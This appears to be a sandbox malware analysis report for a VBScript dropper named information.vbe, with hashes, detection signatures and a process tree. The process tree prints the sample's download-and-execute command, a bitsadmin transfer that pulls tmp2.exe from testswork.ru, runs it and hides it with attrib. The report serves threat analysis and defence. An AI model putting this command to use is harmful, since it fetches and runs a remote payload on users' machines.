Analysis
-
max time kernel
17s -
max time network
76s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
08-08-2024 05:37
Static task
static1
Behavioral task
behavioral1
Sample
fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
information.vbe
Resource
win7-20240708-en
Behavioral task
behavioral4
Sample
information.vbe
Resource
win10v2004-20240802-en
Behavioral task
behavioral5
Sample
information.vbe
Resource
win7-20240729-en
Behavioral task
behavioral6
Sample
information.vbe
Resource
win10v2004-20240802-en
General
-
Target
information.vbe
-
Size
709B
-
MD5
95fee090a7be8b4668735afb4a6c4da6
-
SHA1
1c319be577af5ccb62c653e0c963f0cdddbbcd38
-
SHA256
26337534fb67553e07eb6568cd272153120d6b2b565148392e8a13287f367a5e
-
SHA512
07fce914839046008a559e568302e6cade2c76fd779b980a23e5e921b7a75d73fa22fe33a7168dbc40a766df885eea8c6145a6f3e68af3631cbf890c22f3d7c7
Malware Config
Signatures
-
Download via BitsAdmin 1 TTPs 1 IoCs
-
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
WScript.execscript.execmd.exedescription pid process target process PID 1644 wrote to memory of 2076 1644 WScript.exe cscript.exe PID 1644 wrote to memory of 2076 1644 WScript.exe cscript.exe PID 1644 wrote to memory of 2076 1644 WScript.exe cscript.exe PID 2076 wrote to memory of 2296 2076 cscript.exe cmd.exe PID 2076 wrote to memory of 2296 2076 cscript.exe cmd.exe PID 2076 wrote to memory of 2296 2076 cscript.exe cmd.exe PID 2296 wrote to memory of 2712 2296 cmd.exe bitsadmin.exe PID 2296 wrote to memory of 2712 2296 cmd.exe bitsadmin.exe PID 2296 wrote to memory of 2712 2296 cmd.exe bitsadmin.exe PID 2296 wrote to memory of 2292 2296 cmd.exe attrib.exe PID 2296 wrote to memory of 2292 2296 cmd.exe attrib.exe PID 2296 wrote to memory of 2292 2296 cmd.exe attrib.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"1⤵
- Suspicious use of WriteProcessMemory
PID:1644 -
C:\Windows\System32\cscript.exe"C:\Windows\System32\cscript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"2⤵
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\System32\cmd.execmd /c bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe && start /b C:\Users\Admin\AppData\Local\Temp\tmp2.exe & attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe3⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:2296 -
C:\Windows\system32\bitsadmin.exebitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe4⤵
- Download via BitsAdmin
PID:2712 -
C:\Windows\system32\attrib.exeattrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe4⤵
- Views/modifies file attributes
PID:2292